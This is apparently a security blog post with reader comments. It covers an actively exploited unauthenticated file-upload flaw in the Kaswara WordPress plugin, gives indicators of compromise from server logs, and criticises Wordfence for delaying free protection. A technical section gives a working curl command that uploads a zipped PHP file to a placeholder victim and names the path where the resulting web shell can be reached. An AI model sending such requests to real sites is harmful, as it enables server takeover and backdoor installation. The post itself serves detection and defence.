Kaswara exploit or how much Wordfence cares about user security


Yesterday, an alert describing vulnerability in Kaswara Modern VC Addons was published on WPScan.

The plugin allows unauthenticated arbitrary file upload via the 'uploadFontIcon' AJAX action. The supplied zipfile being unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.

Alert explicitly warns that the bug is actively being exploited. Alert also provided a very limited indicators of compromise - incomplete but at least something..

Later that day, "WordPress security vendor" Wordfence published their article Remove Kaswara Modern WPBakery Page Builder Addons Plugin Immediately.

They repeated what was already said in the alert mentioned above and gave 2 extremely "useful" suggestions. First suggestion is in the post title - remove the plugin. Second suggestion is to pay for Wordfence services. Because Wordfence free version will start protecting users only in end of May 2021:

May 21, 2021 – Wordfence Free users receive the firewall rules.

Think about it for a moment..

Wordfence knows the issue is actively being exploited. They know exactly what the issue is. But they don't care about you or your security! All they care about is their profit. So, unless you pay a hefty sum for their "services", you're screwed.

I think it's wrong, so let's fix that! 🙂

How do I know if I was hacked?

If you have Kaswara Modern VC Addons version 2.x installed, you're most likely already hacked. Sad but true.

If you have Kaswara Modern VC Addons version 3.x, there is no evidence of ongoing attacks yet - but that will likely change in the matter of days.

You can check your web server log files for exploitation attempts. The earliest exploitation attempts I know about are dated 31-March-2021 but to be on the safe side, I suggest you check all the logs available to you.

First thing to check is the initial exploit installing a backdoor. Search log files for "admin-ajax.php?action=uploadFontIcon":

x.x.x.x - - [01/Apr/2021:15:37:06 +0100] "POST ///wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 200 123 "-" "python-requests/2.23.0"
x.x.x.x - - [01/Apr/2021:15:53:40 +0100] "POST ///wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 200 124 "-" "python-requests/2.23.0"
x.x.x.x - - [01/Apr/2021:15:53:40 +0100] "POST ///wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 200 124 "-" "python-requests/2.23.0"
x.x.x.x - - [01/Apr/2021:15:54:54 +0100] "POST ///wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 200 124 "-" "python-requests/2.23.0"

Return code "200" means that the exploitation was successful.

In case of failed exploitation attempts, you'll see return code 301 or 403: - - [02/Apr/2021:17:21:22 +0200] "POST //wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 301 162 "-" "python-requests/2.25.1" 0 0.000 - - [02/Apr/2021:17:21:26 +0200] "GET //wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 403 186 "-" "python-requests/2.25.1" 0 0.010 - - [15/Apr/2021:22:51:56 +0200] "POST //wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 301 162 "-" "python-requests/2.25.1" 0 0.000

Second thing you can check is access to the uploaded PHP backdoor. Search for the folder name wp-content/uploads/kaswara/fonts_icon/ and file extension .php. If access to backdoor was successful, you'll see return code 200:

x.x.x.x - - [01/Apr/2021:15:37:09 +0100] "GET ///wp-content/uploads/kaswara/fonts_icon/ali/see.php HTTP/1.1" 200 3338 "-" "python-requests/2.23.0"
x.x.x.x - - [01/Apr/2021:15:53:43 +0100] "GET ///wp-content/uploads/kaswara/fonts_icon/fix/wp-fixer.php HTTP/1.1" 200 28 "-" "python-requests/2.23.0"
x.x.x.x - - [04/Apr/2021:00:55:30 +0100] "GET //wp-content/uploads/kaswara/fonts_icon/jg4/coder.php HTTP/1.1" 200 26 "-" "python-requests/2.25.1"

In case the exploit failed, you'll see the return code 404: - - [02/Apr/2021:17:21:30 +0200] "GET //wp-content/uploads/kaswara/fonts_icon/jg4/coder.php HTTP/1.1" 301 162 "-" "python-requests/2.25.1" 0 0.000 - - [15/Apr/2021:22:52:02 +0200] "GET //wp-content/uploads/kaswara/fonts_icon/jg4/coder.php HTTP/1.1" 403 186 "-" "python-requests/2.25.1" 0 0.008

If you don't have access to log files (or log files cover only last few days), you can check for PHP files in the server folder /wp-content/uploads/kaswara/fonts_icon/ and all subfolders. If there are any PHP files in those folders, you're definitely hacked. If there are no PHP files, it's still possible that attackers copied backdoor to another folder and then erased traces of their initial exploit.

What can I do now?

If you were not hacked, remove Kaswara plugin immediately.

If you were hacked, removing Kaswara plugin will not remove any malicious code already on your server. The best option is to restore your server from a known clean backup copy. You do have backups, right? 🙂

You could also pay someone to clean up your server but I'm not a fan of such paid services, so I will not be recommending any of those.

Who attacked my server and why?

In the log files I was able to examine, attacks came from IP addresses and, both hosted by StarkRDP Service. All attacks used a Python-specific user-agent "python-requests/2.23.0" or "python-requests/2.25.1". You could try proactively blocking those in your web firewall but I'm not sure how effective such measures would be.

In the case I examined, uploaded files were a common WSO web shell to gain complete access to web server and Leaf Mailer script used to send spam emails. Afterwards, more malicious files were installed in different folders on the server.

Some of the uploaded files contained copyright message:

but I was unable to find any information about who this mysterious "atxcoder" might be.

Technical details - how the exploit works

The vulnerable code is located in the file kaswara\includes\handlers\ajax_handler.php:

As you can see, it's registering an AJAX action that can be accessed by anyone. Exploiting such bug is really trivial.

First, take your evil.php and ZIP it, creating evil.zip. Then, you can exploit the bug with one simple POST request to server. For example, using CURL:

curl.exe -F "fonticonzipfile=@evil.zip" -F "fontsetname=evil" -F "action=uploadFontIcon" www.your.victim/wp-admin/admin-ajax.php?action=uploadFontIcon

Kaswara will happily accept your uploaded ZIP file and unpack it without performing any sanity checks. Now you can access your PHP file: www.your.victim/wp-content/uploads/kaswara/fonts_icon/evil/evil.php.

How simple was that? 🙂

In Kaswara version 3.x, uploadFontIcon functionality was changed. However, there is a new AJAX call kaswaraAddIconSet which can be exploited in a very similar fashion.


In this quick blogpost I explained how the Kaswara exploit works and gave actionable information how to check your server for indicators of exploitation.

Stay safe!

6 thoughts on “Kaswara exploit or how much Wordfence cares about user security

  1. Christos Chatzaras

    Thank you for the information. I block "action=uploadFontIcon" using the web-server.

  2. I have wordfence (no premium).
    In the wordfence-waf.php i put thoose line above all:

    if(!empty($_GET['action']) && $_GET['action'] == 'uploadFontIcon'){
    die('Good luck');

        1. Hi, I believe that the only reliable solution is to completely remove the plugin. It really is a very badly written code.

          As for Wordfence or other security products, you should ask their support staff for an advice.

Leave a Reply

  • Be nice to me and everyone else.
  • If you are reporting a problem in my tool, please upload the file which causes the problem.
    I can`t help you without seeing the file.
  • Links in comments are visible only to me. Other visitors cannot see them.

five  ×   =  ten